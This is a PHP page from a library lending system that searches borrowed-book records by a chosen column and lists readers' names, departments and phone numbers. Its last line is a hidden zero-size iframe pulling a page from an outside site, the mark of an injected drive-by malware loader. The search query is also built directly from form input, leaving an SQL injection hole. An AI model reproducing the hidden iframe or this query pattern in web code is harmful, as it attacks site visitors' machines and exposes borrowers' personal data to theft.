📄 jctscx.php
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<?php
include "../config.php";
?>
<link href="../css/css.css" rel="stylesheet" type="text/css">
<form action="jctscx.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
<table width="765" border="0" cellspacing="0" class="table">
<tr>
<td width="124" height="50" align="left" class="tabletitle"> 借出图书查询</td>
<td width='1' height="50" align="left" class="titlebg"></td>
<td width="448" height="50" align="center" class="tabletitle"><span class="word">按
<?php
echo "<select name='cx'>";
$sql="show columns from lendingbook";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
echo "<option value='".$row[0]."'>".$row[0]."</option>";
}
echo "</select>";
?>
查询
<input name="name" type="text" id="name" />
<input type="submit" name="submit" value="查询" />
</span></td>
<td width="2" class="titlebg"></td>
<td width="180" align="center" class="tabletitle"> </td>
</tr>
</table>
<table class="table" width="765">
<tr bgcolor="#BCD2E6" height="25">
<td width="50" align="center" class="word">编号</td>
<td width="370" align="center" class="word">书 名</td>
<td width="150" align="center" class="word">类 别</td>
<td width="176" align="center" class="word">读者部门</td>
<td width="120" align="center" class="word">读者姓名</td>
<td width="100" align="center" class="word">读者电话</td>
<td width="128" align="center" class="word">借书日期</td>
<td width="128" align="center" class="word">应还日期</td>
</tr>
<?php //使用子查询,查询出选择的某个类别的某本图书的信息
if(!empty($_POST["submit"]))
{
$category=$_POST["cx"];
$name=$_POST["name"];
$sql="select * from lendingbook where $category like '%".$_POST["name"]."%'";
$result=mysql_query($sql) or die(mysql_error());
while($row=mysql_fetch_array($result))
{
?>
<tr bgcolor='#BCD2E6'>
<td height='20' align='center' class='word'><?php echo $row["no"]; ?></td>
<td height='20' align='center' class='word'><?php echo $row["bookname"]; ?></td>
<td height='20' align='center' class='word'><?php echo $row["category"]; ?></td>
<td height='20' align='center' class='word'><?php echo $row["department"]; ?></td>
<td height='20' align='center' class='word'><?php echo $row["readername"]; ?></td>
<td align='center' class='word'><?php echo $row["phone"]; ?></td>
<td align='center' class='word'><?php echo $row["lenddate"]; ?></td>
<td align='center' class='word'><?php echo $row["shoulddate"]; ?></td>
</tr>
<?php
}
}
?>
</table>
</form>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>
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